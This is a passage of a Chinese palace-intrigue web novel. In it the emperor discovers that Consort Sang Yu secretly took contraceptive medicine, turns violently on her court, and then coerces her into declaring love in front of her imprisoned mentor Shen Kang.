阿箬迫不及待:“奴婢愿意!奴婢愿意!” 阿箬此刻又忘了她是一个妃嫔。 陆晚宁看着她走进陷阱,缓缓说道:“陛下拿你当替身,只是因为与昭妃不和。倘若他日,昭妃主动委身,哪里还有你的活路?” 阿箬猛的颤抖起来,她不敢想。 “所以,你只要,让这世上只剩下一张你这样的脸,就够了。” 阿箬心脏重重一抖,有些没明白。 “如果昭妃不在了,陛下的心中,你不就成第二个昭妃了么?” 阿箬颓然的跪倒在地上,迷茫的低下了头。 可陆晚宁的话始终萦绕耳边,每一个字,在此刻,都成了她唯一的出路。 —— 桑余开始好好吃饭,好好喝药。 或许是因为李识衍的那首诗,她觉得自己命不该绝,也不该就这样坦然妥协。 红豆看桑余竟然有想吃的东西了,很是高兴,急忙去让小厨房准备。 这事儿,祁蘅也知道了。 他在紫宸殿安插的人会来禀告说:“昭妃娘娘今日将药都喝了,不仅如此,还让婢女去准备了点心。” 祁蘅听到这话时,缓缓笑了笑。 她终于不再自暴自弃,祁蘅心中这才松了一口气。 只是为什么呢? 难道真是因为……自己宠幸了阿箬,她真的害怕了? 那今晚,是不是该去看看她? 祁蘅正要让赵德全去通传,忽然又冷静下来。 哪怕她是真后悔了,知错了,自己这次也不能如此着急的贴上去。 火候还不够,得让她知道,他这个皇帝也是会生气的,好教她下次不敢再轻易任性。 敬事房的人来,问今夜翻谁的牌子。 祁蘅看了一眼,想起上次椒房礼未成,陆晚宁一定也伤了心。 他之前是怕桑余难过,才一次次的没有宠幸她。 可如今,已经有了阿箬,桑余又一次次的任性胡闹,自己也没什么必要替她着想了。 况且,自己是天子,一辈子不可能只宠幸一个人。 随即,他随意翻过陆晚宁的牌子,说:“去长乐宫。” —— “什么?陛下今日要来找本宫?” 陆晚宁十分惊喜的笑了,随即让婢女替自己装扮。 如果她这次拿准了祁蘅,那自己的路就会更稳,再除去桑余,后宫便又是她陆晚宁的后宫了。 祁蘅正准备去长乐宫,可坐在轿辇上,远远看见紫宸殿还亮着灯,心下一动。 他有意想晾着桑余,但心底还是不争气的想见她一面。 “赵德全,绕路,去一趟紫宸殿。” 第102章 不去见陆晚宁了 祁蘅没打算进去,只想在外面遥遥的看一眼。 赵德全问:“要奴才进去通传一声吗?” 祁蘅抬手随意的挥了挥,赵德全识趣的退下。 夜里微风凉凉,一帮人就站在黑暗里望着灯火微明的紫宸殿,明明什么都看不见,却还是一动不动。 赵德全这时有种错觉,怎么感觉陛下这副做派,反而像个不受宠的妃子。 古有望夫石,今有皇上化作望妃石。 “走吧。” 祁蘅话音落下,众人正要起轿离开,院子里忽然传来一阵女孩子的笑声。 祁蘅步子一顿,奴才们又慌忙停了下来。 祁蘅嘴角扬了扬,从里面辨别出了桑余的笑声。 他从轿辇上下来,缓缓往紫宸殿院内走去,思虑片刻,还是站在了门口。 紫宸殿的院门虚掩着,祁蘅停在门口,透过缝隙向内望去—— 桑余被云雀和其他几个婢女从屋里拉出来,蒙着眼睛,推到了院中的石凳上坐下。 云雀说:“最新宫里流行暖锅,奴婢们也去讨了炉子来,闻着可香了,娘娘快尝尝!” 桑余以前见过这东西,却还没吃过,看着咕嘟咕嘟冒泡的红汤,还有鲜蔬肉片,一下子有了食欲。 几个人分着吃了起来,还叫了其他的宫人,一堆人围着暖锅,不知道聊起了什么,又开始笑。 桑余也在笑。 月光下,她穿着简单的藕荷色衣裙,未施粉黛的脸在灯火映照下温婉秀丽。 祁蘅站在门外,神情恍惚。 他已经许久没见桑余这样开心的笑了——上一次是什么时候?记不清了,她在自己面前,多半时候是在难过,或者愤恨。 上一次争吵,她说死后要把骨灰带出去,不愿葬在这肮脏的皇宫里。祁蘅面上嗤之以鼻,心底却被那句话狠狠扎疼了。他甚至开始恐惧,桑余会不会真的命不久矣,就这样在他身边郁郁而终。 一颗那么坚韧的兰草,没有死在腥风血雨中,难道却要枯萎在了他手里。 如今见她这么开心,祁蘅心中的大石才稍稍落地。 "陛下……"赵德全不知何时跟了过来,看了一眼时辰,小心翼翼地问:"还去长乐宫吗?贵妃娘娘怕是已经候着了。" 祁蘅这才想起,今晚原本是要去陆晚宁宫里的。 他皱了皱眉,目光却舍不得从院中那个笑容明媚的身影上移开。 “不去了。” 祁蘅转身就走:“告诉她,朕夜里还有要事,改日再去见她。”顿了顿,或许觉得太过不妥,又吩咐道:“将前几日陕西进贡来的白玉铜镜赏赐给她。” 赵德全觉得喉咙都紧了,陛下这算是……第二次将贵妃娘娘搁置了。 赵德全暗暗叫苦,这赏赐固然贵重,可哪比得上圣驾亲临?贵妃娘娘怕是要气坏了。但他不敢多言,只得躬身应下。 —— 长乐宫内,陆晚宁等了一夜。 她精心打扮的妆容渐渐褪色,桌上的菜肴热了又凉。宫女们噤若寒蝉,不敢出声。 "陛下……还是没来?"陆晚宁轻声问,指尖掐进了掌心。 贴身宫女战战兢兢地回禀:"赵总管派人来说,陛下有要事处理,赏了娘娘一面白玉铜镜……" “要事?可知道是什么要事?” 宫女压低了声音,说道:“回娘娘,听闻陛下今日在来的路上,顺道去了一趟紫宸殿,便……便起了回程的心思。” 陆晚宁猛地站起身,将满桌珍馐扫落在地。 瓷器碎裂的声音在寂静的宫殿中格外刺耳。 "又是紫宸殿!"她咬牙切齿,美目中燃起妒火,"那个贱人到底用了什么妖术!" 宫女们跪了一地,瑟瑟发抖。 陆晚宁深吸一口气,强压下怒火。 "好……很好。"她冷笑一声,气的眉头微跳,"桑余,那咱们走着瞧,我是没办法对你动手,可总有人,愿意替我捅你一刀!" —— 翌日,这个消息便“准确无误”的传去了阿箬耳朵里。 阿箬想起陆晚宁说过的话。 桑余和皇上和好如初,是早晚的事。 到那时,她就一文不值了。 连替身都没得做。 这句话,像噩梦一样,让阿箬几天几夜都没有睡好觉。 她这几日整日都穿着黄衣服,戴着桑余的簪子,甚至在屋里点满了金桂熏香,可是皇上还是没来看她一眼。 他只宠幸过她一次,这么快就因为桑余失了宠。 难道……真要像陆晚宁说的,让桑余…… 不! 阿箬猛的的摇头,不可以,桑余救过她,对她那么好,就算是自己想要陛下的宠爱,也不该对她下手。 至少,至少还没到那个地步。 一定还有别的办法。 阿箬站了起来,来回踱步。 随之,缓缓站定。 她想到了什么。 —— 祁蘅正在尚书阁处理政务,听见宫人来传,说于宝林求见。 祁蘅好几日没有见阿箬了。 他对阿箬这个女子,没有任何情愫,甚至连她的名字都没记清。 唯一记得,是她和桑余有些像。 其实宠幸她,一半是自欺欺人的想要弥补过去,一半……是为了刺激桑余。 但现在冷静下来,祁蘅才觉得这一招有多愚昧,简直可笑。 斯人还在,他却将她人当作替身。 昨日见桑余那么开心快乐,想来,也会很快放下芥蒂与他重修旧好。 祁蘅头也没抬的说道:“让她回去吧,朕今日繁忙,没空见她。” “陛下!” 门外忽然传来阿箬焦灼的声音。 “陛下,臣妾有要事参见陛下,需得立即禀明!” 祁蘅皱了皱眉,怀疑的看向外面的人影。 阿箬跪着,咬紧了牙,仿佛下定决心一般扬声道:“事关昭妃娘娘,臣妾觉得不该欺瞒陛下,一定要告知陛下!” 第103章 告诉朕实话 阿箬跪在尚书阁外,额头抵着冰冷的青石地面。 她听见里面传来祁蘅冷淡的拒绝,手指不自觉地掐进掌心。 “陛下!”她不顾礼仪地提高了声音,“臣妾有要事参见陛下,事关昭妃娘娘,需得立即禀明!” 殿内沉默了一瞬,随后是祁蘅低沉的声音:“让她进来。” 阿箬深吸一口气,整理了一下衣裙。 她今日特意穿了与桑余相似的鹅黄色宫装,发间簪着那支银簪——那是祁蘅唯一一次临幸她时夸赞过的饰物。 虽然……是桑余送给她的。 踏入殿内,阿箬立刻跪伏在地:“臣妾参见陛下。” 祁蘅坐在案后,却连眼皮都没抬一下:“你说要告知朕关于昭妃的事情?” 他的声音平静得可怕,带着冷冽的冰凉。 阿箬心头一颤,准备好的说辞突然卡在喉咙里。 她原本是想先诉说自己对陛下的思念,可祁蘅的冷淡让她措手不及。 “臣妾……臣妾这些时日一直都思念陛下……”她怯生生地抬头,试图用含泪的眼睛打动帝王。 祁蘅终于抬眼,眉目阴沉如冰,夹杂着几分不耐烦:“朕问你,是不是要说昭妃的事?” 阿箬被他眼中的寒意吓得一哆嗦:“是……是的……” “那你说吧。”祁蘅缓缓站起身,明黄龙袍在烛光下泛着冷冽的光,“如果你是耍弄朕,朕一定会杀了你。” 这句话像一把刀抵在阿箬喉头。 她浑身发抖,突然意识到自己可能犯了一个致命的错误——她不该来。 但现在退缩已经来不及了。 如果她不说,祁蘅一定不会放过她。 于阿箬,你要明白,你只是为了能够长长久久的在宫里活下去。 况且,此事说出来,陛下也不一定会对桑余如何。 但是你不说,你就只有死路一条了。 “臣妾……臣妾之前服侍过昭妃娘娘,也是在那时得知……” 阿箬咽了口唾沫,颤声说道:“太皇太后倒台前,曾与昭妃娘娘联手想要出逃。昭妃娘娘……还喝了太皇太后给的避子药。” 殿内瞬间死寂。 祁蘅的表情凝固了。 他慢慢绕过桌案,走到阿箬面前,居高临下地俯视着她:“你说什么?” 阿箬抖如筛糠:“臣妾……臣妾也是偶然得知……昭妃娘娘她……不愿怀上龙种……” “砰!” 祁蘅一脚踹翻了身旁的香炉,铜器砸在地上发出震耳欲聋的声响。 阿箬尖叫一声,蜷缩成一团。 “滚出去。” 祁蘅的声音阴沉的几乎听不见。 阿箬第一次见一向温柔的天子如此愤怒失控,连滚带爬地逃出了尚书阁。 殿内重归寂静,只剩下祁蘅沉重的呼吸声。 他盯着地上散落的香灰,大脑一阵一阵的眩晕,只觉得头重脚轻。 桑余竟敢喝避子药? 她就那么不想要自己的孩子? 心脏像是被一只无形的手狠狠攥住,疼得他几乎站立不稳。 他想起桑余每次侍寝后那副如释重负的表情,想起那几日她对自己的接纳和相处,都是虚与委蛇么? 祁蘅又想起她昨日的笑…… 原来那样的笑声之下,藏着这样滔天刻骨的绝情。 原来如此。 祁蘅突然笑了,那笑声阴冷得连守在一旁的赵德全都打了个寒颤。 “备轿。”祁蘅大步走出殿门,“去紫宸殿。” —— 桑余正在院中修剪一株兰花。 春日暖阳照在她身上,为她苍白的脸颊添了一丝血色。 “娘娘,陛下来了!”云雀匆匆跑来通报,声音里带着不安。 桑余手一抖,剪掉了一枝开得正好的花苞。 她皱了皱眉,放下剪刀:“就说我身子不适……” 话音未落,祁蘅已经大步走了进来。 他今日穿着常服,看上去比平日随意,可那双眼睛却黑得吓人,直勾勾地盯着桑余。 “爱妃这么不想见朕?” 上次一别,桑余对他已是连恨的力气都没有了,唯独有的情绪,大概就是厌烦。 桑余冷淡地行了个礼,刻意与他保持距离,“陛下突然驾到,有何贵干?” 祁蘅看着她下意识的远离,冷笑了笑,也不答话,只是走到石桌旁坐下。 他示意身后的太医上前:“听闻你的病一直没好,今日朕带陈太医来给你看看身子。” 桑余瞳孔微缩,手指无意识地攥紧了衣袖。 陈太医?那不是当初为太皇太后效力的太医吗? 贺贞倒台后,她以为这人早已被处置…… “不必了。”桑余强自镇定,“臣妾近日身子大好,无需诊脉。” 祁蘅笑了,那笑意却未达眼底:“怎么?昭妃怕了?” 桑余心头一跳,对上祁蘅审视的目光。 他这是……在试探什么? “臣妾只是觉得没必要。"桑余别过脸去,“陛下若无他事,臣妾还要休息……” “陈太医。”祁蘅打断她,声音陡然转冷,不容置喙,“给昭妃诊脉。” 陈太医颤颤巍巍地上前,跪在桑余面前:“娘娘……请伸出手……” 桑余看着这个年过半百的老太医,额头已经渗出冷汗。 如今贺贞倒台,陈太医还会帮自己隐瞒避子药之事么? 只见陈太医的手指搭上她的脉搏,闭目诊了许久。 桑余能感觉到祁蘅的目光像刀子一样刮过她的脸,审视着她。 “回陛下……”陈太医终于开口,“昭妃娘娘身子安好,并无任何异常。” 祁蘅将目光转落到陈太医身上,沉然一笑:“就没查出,朕的昭妃,可用过什么不该用的药?” 桑余和陈太医同时紧张起来。 陈太医喉头微动,想到此事如今已死无对证,药效也已过,皇上一定不会知道,况且此时若是承认,不就死路一条? 他便还是决定隐瞒:“回陛下,微臣已查探清楚,娘娘身子一切安然。” 桑余紧绷的神经稍稍放松。 “是吗?”祁蘅轻声问,缓缓站起了身,使了个手势让侍卫上前,随之猛地拔出对方腰间的佩剑。 寒光一闪。 “刺啦——” 鲜血喷溅在石桌上,陈太医的头颅滚落在地,眼睛还睁得大大的,似乎不敢相信。 无头的尸体缓缓倒下,鲜血很快浸透了青石板。 “啊!”云雀尖叫一声,晕了过去。 其他宫女太监也四散奔逃,只有桑余僵在原地,脸色惨白如纸。 祁蘅提着滴血的长剑,一步步走向桑余:“现在,告诉朕实话。” 他的声音温柔得可怕,“你喝了避子药?” 第104章 沈康还活着! 鲜血顺着青石板的纹路蜿蜒流淌,在桑余脚边汇成一片暗红的小洼。 桑余目光微动,盯着那滩血迹,忽然笑了。 祁蘅握剑的手猛地一颤。 “你笑什么?” 桑余看着祁蘅失控的样子,头一次感到有一丝快感。 她对他最大的恨意就是沈康,可她又什么都做不了。 今日才发现,原来自己也可以让他这么痛苦。 “我是喝了避子药,因为我不想怀你的孩子。可陛下这是在难过吗?” 桑余抬起脸,眼中闪烁着祁蘅从未见过的凉薄,“真稀奇,原来你也会因为我难过。” 祁蘅的剑尖垂向地面,血珠滴答落下。 他盯着桑余的笑脸,胸口剧烈起伏,仿佛有什么东西正在他体内撞击乱窜。 “朕一直,都在幻想你能为朕生个孩子……”他的声音嘶哑得不成样子,“而你……你竟敢……” 祁蘅第一次动了对桑余的杀意。 他对她那么好,甚至作为天子,甘愿低三下四的纵容她,只盼望她能对自己能有一星半点的喜欢。 可她此刻看着自己疼成这个样子,竟然笑得出来。 仿佛,他们的过去,都是一个笑话。 “你就这么厌恶朕?” 桑余迎着他猩红的双眼,一字一顿道:“不然呢?” 祁蘅闭上了眼,只觉得步伐不稳,险些倒过去。 鼻尖传来血腥味,他是真的很想杀了桑余一了百了。 可他却没有力气对她动手。 他只恨自己心软,恨自己会一次次为她放低底线。 原来,桑余和曾经欺辱自己的那些人,没有什么区别。 都是高高在上的看着自己,笑话自己,拿他的悲痛和绝望当作取笑的把柄。 祁蘅一把丢开了剑,再睁开,眼中已经冷成了寒冰。 “昭妃犯欺君之罪,紫宸殿所有的奴才全部赐死!”他厉声喝道,声音里带着破碎的颤音,“将紫宸殿封了,没有朕的旨意,任何人不得进出!” 桑余脸一下子就白了。 侍卫们已经满院子抓人,白刀子进红刀子出,惨叫声不绝于耳。 “住手!都住手!” 桑余想要阻止那些侍卫可无能为力,祁蘅只是冷冷地看着她闹,看不下去了,便准备离开。 只是没走两步,他的衣角被一把抓住。 祁蘅低头,桑余跪在脚边,脑袋狠狠往地上磕,一下又一下。 周边响起一阵惨叫,她就磕的更重。 她不敢再反抗了。 她没有能力,也没有资格反抗。 她刚才只是用言语回击了祁蘅,祁蘅就杀了自己身边这么多人…… “陛下!臣妾错了,这一切是我的错!他们什么都不知道,你放过他们!” 祁蘅看她为了几个奴才,对自己这般卑微的样子,心里猛的一痛。 却也更恨。 他笑了笑,恶意的皱起眉:“桑余,你真的以为朕是泥捏的吗?任是谁都可以诓骗?欺君之罪,理应处死!” “那你处死我!处死我就够了!” 祁蘅看着桑余泪流满面的脸,看着她额头渗出的血迹,却再也不想相信她了。 都是骗人的。 她又在骗自己! 她每次都用这种可怜的目光骗他! 祁蘅再也不会相信她了,也再也不会心软了。 他轻飘飘的笑了笑,开口说:“朕不会杀你,你不是不想怀朕的孩子么?那你就一辈子,待在紫宸殿里,一个人孤苦到死。” 他皱了皱眉,眼中轻佻:“也是朕蠢,竟然信你有一天会回头。朕忘了,你是奴才,你们这些都是一样的。” 祁蘅嫌恶的看向她抓着自己的衣摆,一把甩开。 转身就往外走。 桑余摔在地上,回头看过去。 昨夜和她一起吃暖锅的人,已经死了大半,没死的也跪在地上瑟瑟发抖等着一剑穿心。 他们又冲着云雀来了。 眼前的一切血腥,仿佛又回到了师父死在自己面前的那一天。 漫天的雪落下来,落在桑余的脸上,冰冷刺骨,让她瑟瑟发抖,又无能为力。 桑余知道,这一切都是她的错。 她错的太多了。 这个世上,其实最该死的人是她,等她死了,所有事情就都结束了。 她藏起来的那首诗的确曾挽救过她,可是,她已经无法自救了。 祁蘅没走几步,忽然听到身后传来金属划过地面的声音。 他明明不想看她一眼,可已经控制不住的回首了。 随之,整个人僵在原地。 桑余捡起了他刚刚丢掉的剑,抵在了脖子上。 “桑余,你想做什么?” 他说要这句话后,急忙意识到什么,抬起手呵斥道:“住手!都给朕住手!” 杀戮随之而停。 桑余站在那里,那把剑仿佛比她还重,比她的脖子还粗,只要轻轻一下,就会血溅当场。 “桑余!你若是敢,朕……” “朕……” 祁蘅哑口无言。 因为他不知道自己还能做什么。 是啊,如果她死了,自己又还能拿什么来威胁她。 她死了,就什么都感觉不到了。 桑余释然的笑了笑,一句话也不想听他说了。 她已是下定了必死的心。 她要终止这一场闹剧。 祁蘅看见她的手抬了起来,剑已经划破了她的脖颈,她头上都是血,站在风里摇摇欲坠。 “桑余!沈康还活着!” 第105章 想见他,答应朕一件事 祁蘅的声音在风中撕裂开来。 他是真怕,怕她会死在自己眼前。 桑余的手腕猛地一颤,剑锋在脖颈上划出一道血线。 她微微皱眉,剑尖垂下半寸,“你说什么?” “把剑放下。”祁蘅向前踉跄了一步,逐渐靠近,“朕可以让你见沈康。” 桑余闭上了眼,忽然笑了,声音颤抖:“皇上,你又想用这一招骗我……” “朕这次没有骗你。”祁蘅咬了咬牙,说出实情:“他被关在废皇子府,由朕的亲卫看守。” “可你若敢死,朕立刻处决他!” 祁蘅这个人擅长说谎,从前与朝堂势力中周旋时也是这样,有时连桑余都辨不清真假。 如今也是。 可是关于沈康的事,她不敢赌。 祁蘅又说:“放下剑,朕饶其他人不死,还会让你见沈康。” 桑余生出迷茫和无力,这样的神情落在祁蘅眼里,像无数根刺扎疼了他。 从前,他说什么,她都会信,现在竟一句话也不信了。 桑余望着祁蘅猩红的双眼,声音轻得像是要散在风里:“我还能……相信你吗?” 祁蘅喉结滚动,放软了声音:“阿余,朕这次没骗你,你相信朕。” 他朝她伸出手,指尖微微发颤,“把剑放下,好不好?” 桑余恍惚想起从前——那时她最信他,信他说的每一句话,信他给的每一个承诺。 如今再信一次,又能如何? 自己也没什么可骗的了。 她的手终于垂下,长剑“当”"一声坠地。 祁蘅几乎是扑过去将她搂进怀里,掌心贴在她后颈时才发现她浑身冰冷,唯有伤口渗出的血是温热的。 祁蘅已经很久没有害怕过了。 他是真的害怕桑余就这么死在自己面前。 他收紧手臂,下颌抵在她发顶,声音沙哑:“别吓朕......别再这样了好吗?” 桑余却在他怀里僵硬如石,只冷冷地问:“什么时候能见师父?” 祁蘅身体一僵,半晌才道:"先让太医给你止血。" “你又骗我?”桑余猛地推开他,眼底涌上绝望。 “没有!”祁蘅攥住她手腕,“今晚......”他闭了闭眼,“今晚就带你去。” —— 阿箬在寝殿里来回踱步,指甲将掌心掐出了血。 整整一日过去,紫宸殿那边竟半点风声。 宫墙内外静得可怕。 “不行,我得去看看……”阿箬咬了咬嘴唇,正要唤宫女更衣,殿门突然被猛地推开。 祁蘅高大的身影出现在门口,闪电骤降,照亮他半边阴郁的侧脸。 阿箬心头一跳,连忙跪下行礼:“臣妾参见……” 她的话戛然而止。 祁蘅一步上前,铁钳般的手掌直接掐住了她纤细的脖颈。 阿箬惊恐地瞪大眼睛,双手本能地去掰那只越收越紧的手。 “陛……下……”她艰难地挤出两个字,眼前已经开始发黑。 祁蘅的脸近在咫尺,那双总是温柔含情的眼睛此刻冰冷得可怕。 就在阿箬以为自己要死的时候,祁蘅突然松了手。 她瘫软在地,大口喘息,喉咙火辣辣地疼。 “听着。”祁蘅俯身,薄唇几乎贴在她耳边,声音轻得如同耳语,“如果太皇太后与避子药的事传出去半个字……” 他修长的手指抚过阿箬红肿的脖颈,动作轻柔得令人毛骨悚然,“朕保证,会一点点剥了你的皮,杀光你的九族。” 阿箬浑身发抖,眼泪不受控制地往下掉。 她看着祁蘅直起身,头也不回地离开,殿门在他身后重重关上,发出震耳欲聋的声响。 他走了。 阿箬坐在椅子上,怔怔盯着空荡荡的地方,脑袋里嗡嗡作响。 —— 桑余坐在铜镜前,看着太医为她包扎脖颈上的伤口。 细白的纱布一圈圈缠绕,太医心里悲催的叹了口气。 也是为难昭妃娘娘了,身子骨都被折腾成这样,还流了这么多血,如今又多了一道疤。 “娘娘伤口不深,但需静养三日。”太医躬身退下,殿内重归寂静。 烛火在纱罩里跳动,将她的影子投在墙上,像只困兽。 桑余伸手触碰纱布,脖颈传来细微的刺痛。 但这点痛算什么?比起沈康可能遭受的折磨,这连皮毛都算不上。 她这一生的噩梦和害怕的东西太多,唯独沈康之死是她最放心不下的。 如今,祁蘅告诉她沈康还活着,桑余仿佛溺水的人终于浮出了水面,有了活下去的力气。 殿门忽然被推开,祁蘅踏着月色而来,外面快要下雨了,他衣角还带着些凉气。 “伤口还疼吗?”他站在她身后,透过镜子看见桑余的面容是冷冰冰的。 桑余没有回头,还是那句话:“陛下何时带我去见师父?” 祁蘅的手搭上她肩膀,感受到她瞬间的僵硬。 他俯身,唇几乎贴上她耳垂:“现在就可以。不过……”他手指抚过她脖颈上的纱布,“朕有个条件。” 桑余猛地站起转身,险些撞上祁蘅的下巴:“祁蘅,你到底想做什么?” 祁蘅不退反进,将她困在梳妆台与自己之间。 他伸手捻起她一缕散发,在指间缠绕:“很简单。当着沈康的面,说你爱朕。” “什么?”桑余皱起了眉。 “说你爱朕。”祁蘅一字一顿,“让他死心,朕可保他安然回北狄。”他眼中闪过一丝扭曲的冷意,“否则,朕现在就下令处决他。” 桑余胸口剧烈起伏,指甲深深掐入掌心。她看着祁蘅眼中病态的执着,深吸了一口气:“我答应你。” 反正自己的爱又不是什么值当的东西。 能换师父平安,已经是她最大的用处了。 “陛下不就是想看我屈从的样子吗?”桑余仰头直视他,“只要沈康平安,我什么都可以做。” 祁蘅眸色一暗,突然将她打横抱起。桑余宁愿掉下来也要推开他。 “别动。”祁蘅收紧手臂,警告她:“你伤口会裂开的。” 祁蘅看她在自己怀里又无能为力反抗的样子,此时此刻,白日里怕她自尽的恐惧才彻底褪干净。 他的声音低沉,似是为了桑余安心,便解释了一句:“外面起风了,朕怕你走不稳。” 桑余精疲力尽的叹了口气,不想在这种事情上同他争执太多。 夜色如墨,祁蘅的龙辇穿过重重宫门,最终停在一处荒废的府邸前。 残破的匾额上字迹依稀可辨,门前杂草丛生,但却层层把守了好几层侍卫。 “陛下。”亲卫首领跪地行礼。 祁蘅摆手示意他们退下,仍抱着桑余不放:“人在哪?” “正殿。” 阴冷潮湿的气息扑面而来。 桑余挣扎着要下来,祁蘅却抱得更紧。 石阶上布满青苔,这里是大皇子成年分府之前的住处,祁蘅上位后便一直荒落至今。 火把的光在墙壁上投下扭曲的影子,桑余感觉到沈康就在这里,她趁机一把推开祁蘅跳了下来,踉跄的往里寻去。 祁蘅看她急切的身影,昏暗之下,缓缓的攥紧了掌心。 第106章 朕挖了他的眼睛 祁蘅发现自己对桑余的忍耐已经过了分。 明明是她偷偷瞒着自己吃避子药,可闹来闹去,却是他先退步,答应带她来见沈康…… 可即使这样,她还要想离开自己。 祁蘅怎么也不明白,自由真的那么重要么? 如果今天坐在这个皇位上的是别的人,她还会想走么? 桑余站在荒芜的庭院中央,四周漆黑一片,只有远处侍卫手中的火把摇曳。 她茫然四顾,喉咙发紧:“师父呢……” 无人应答。 一只温热的手突然从身后握住她冰凉的手指。 桑余猛地回头,祁蘅的脸在阴影中半明半暗,冰冷又克制。 “朕带你去。” 桑余想抽回手,却被他攥得更紧。 祁蘅牵着她穿过一道幽深的长廊,高大的身影挡在桑余面前,伸手拨开蛛网和障碍。 她早就不是那个被打断了腿只能偷偷躲起来哭的小宫女。 他也不是那个需要别人保护的小皇子。 他可以保护她了。 祁蘅握着桑余的手,微微用力,这点冰凉的实感,让他心里终于有了几分被填满的满足。 目光所及之处,终于出现一点微弱的灯火。 “在那里……”祁蘅话还没说完,桑余就像离弦的箭冲了出去。 门被猛地推开,撞在墙上发出巨响。 昏暗的室内,一个消瘦的身影正坐在正中。 听到声响,那人缓缓转身—— “师父!”桑余的声音几乎要破碎在喉咙里。 祁蘅站在门外,只是看见昏暗中两道重叠的身影,身子就已经止不住的颤抖起来。 藏了这么久,还是让他们相见了…… 哪怕早就答应了她,哪怕在此之前做了许久的准备。 但此刻光是看到她为了沈康而焦灼的背影就觉得浑身的血都要沸腾了。 明明曾经,她心里最在意的人是自己! 他知道自己也做错过,可不该是这样无法挽回的失去! 失去的感觉……太痛苦了。 可祁蘅从当上皇帝后却一直在失去。 连他曾经最忠诚的桑余,也要离开他。 祁蘅闭上眼,压制住心中想摧毁一切的冲动。 沈康被关的太久,脸上是惨淡的白,墨发竟生出几缕白丝,垂在眼前,眼中一点点亮了起来。 “阿余?”他踉跄着站起来,铁链哗啦作响。 桑余这才发现师父脚上拴着沉重的镣铐。 她总是清风霁月的师父,从来都是波澜不惊,对她笑意盈盈,如今却被关在这个暗无天日的大殿之中,束缚囚禁着。 泪水瞬间模糊了视线,她不顾一切地向前冲去。 却在即将触碰到沈康的瞬间被一股大力拽回。 祁蘅的手臂如铁箍般勒住她的腰,将她拖离回去。 他声音却冷得像冰:“朕只是让你见他,已是让步。”手指恶意地抱紧她,用鼻尖亲昵地划过她的耳廓,“可没说让他碰你。” 沈康眼中怒火骤燃:“祁蘅!你对她做了什么?”他挣扎着向前,铁链绷得笔直,“阿余脖子上的伤是怎么回事?你不是答应过我要好好待她么?” 祁蘅嫌他聒噪,更觉得他碍眼。 他们这个样子,倒像是他是个拆散苦命鸳鸯的暴君。 可桑余从前是他的暗卫,如今是他的妃子,明明她这十八年来一直都是属于自己的! 是他沈康想要不该要的人,动了不该有的念头。 拐带他忠心耿耿的阿余也走了歪路。 祁蘅克制住想要杀人的冲动,低头在桑余耳边轻语:“记得我们的约定吗?”温热的气息喷在她耳畔,“说给他听。” 桑余浑身发抖,声音沙哑:“阿余,你……你怎么瘦了这么多?到底发生了什么?” 祁蘅厌烦的皱起眉,抬眼鄙夷的看着沈康,话却是对着桑余说:“说啊,你想他死么?” 那天城门之下,沈康被射杀的一幕,又重新爬回了桑余的记忆。 那是桑余连回忆都不敢的一天。 “我爱他!”桑余闭上眼睛,泪水滚落,“师父,我爱陛下。” 这句话像一把刀,同时刺穿了三个人的心脏。 沈康木然的定住,目光从桑余身上,转到祁蘅脸上,似乎是猜到了什么,他忽然笑了出来,对祁蘅的荒谬做法生出鄙夷。 “你逼她说这种话?你明明知道,阿余不可能再……” 祁蘅愉悦地笑了,手指抚过桑余泪湿的脸颊,打断他:“不可能什么?阿余现在是朕的昭妃,我们夜夜同寝——” “够了!”桑余厉声打断,转向沈康时声音微微颤抖,“师父,是真的。我……我心悦陛下。” 她勉强费力的笑着,说:“师父,你还活着,就够了。” 她这辈子最忘不掉事情就是沈康死在眼前,如今一切真相大白,不管她余生是否自由是否快乐,沈康能活着就好了。 沈康望着桑余的笑,心口疼的战栗。 他从小看着长大的姑娘,真话假话他怎么可能辨不出来呢? 她是想让自己活。 “沈将军。”祁蘅突然冷声开口,“北狄使团三日后抵京。朕会安排你随他们回国。”他收紧搂着桑余的手臂,“至于阿余,她就会留在朕身边,一生一世。” 桑余迟疑的抬头:“你说真的?” “你是问留在我身边还是……” 桑余瞥眉:“自然是陛下打算放我师父离开这件事!” 祁蘅低头看她,眼中情绪复杂:“君无戏言。” 祁蘅对他们二人的忍耐已经到了极限。 “沈康,我说过,不杀你,是朕念在母妃的份上对你最后的仁慈。你也听见了,阿余爱的是朕,收起你那些以下犯上的肮脏心思,你这辈子,都没资格和朕抢女人。” 沈康脸上是一种灰败的茫然,他看着桑余,笑了笑:“我从来都没有想过要抢走她,我只想她能开心的活着,这是我一个残兵败将,最后的奢望。” 祁蘅的脸不受控的牵扯了一下,他最恨的,就是沈康这幅为了桑余什么都愿意做的样子。 他一刻也不想让她再待在这里,再看到他。 “你想见的人,朕已经带你来见了?” 他突然横抱起桑余:“夜已深,该回了。” 祁蘅不给桑余和沈康告别的机会便带着她离开了。 那道门再次被重重关上。 直到被抱出废府,桑余才像被抽走全身力气般瘫软下来,目光还望着那道幽深的走廊。 祁蘅觉得她这是恋恋不舍。 他将她放进龙辇,自己却站在辇外不动。 月光下,他的侧脸线条冷硬如刀削。 “满意了?”桑余哑声问。 祁蘅突然俯身,拇指轻轻擦过她眼皮,“以后朕不允许你再看其他的男人,否则……”声音低得几不可闻,“朕就挖了他的眼睛。” 第107章 朕陪你一起 桑余的瞳孔在月光下骤然收缩,脖颈上的伤口随着急促的呼吸隐隐作痛。 她下意识抓住祁蘅的衣袖,指尖发白:“你答应过放他离开的!” 祁蘅的拇指重重碾过她下唇,将那句话揉碎在唇齿间。 龙辇的纱帘被夜风吹起,露出他眼底翻涌的暗色:“桑余,你是不是真的爱上他了?” 远处传来更鼓声,三更天了。 桑余忽然觉得荒谬。 不知道是不是错觉,祁蘅此刻像个患得患失的妒夫。 “他是我最敬重的亲人,和任何人都不一样。” 祁蘅不甘:“和朕也不一样么?朕和你一起长大,难道我不是你的亲人吗?” 桑余嗤笑一声,她觉得祁蘅问出的这个问题太可笑了。 “我的亲人,将我贬入浣衣局,囚禁我,灌我失忆的药,强迫我……这样的人,算亲人吗?” 祁蘅的呼吸猛地一滞,仿佛被利剑当胸刺穿。 月光下他的脸色瞬间惨白,连掐着桑余下巴的手指都松了力道。 “原来……你是这样想的。”他的声音突然轻得几乎听不见,却带着令人心惊的寒意。 “朕对你的不好,你全都记得,可朕对你的心意,你从来不曾放在眼里。沈康他又为你做过什么?不过是替你去寻了一次药,难道朕给你的一切荣宠,还比不上他替你寻了一次药?!” 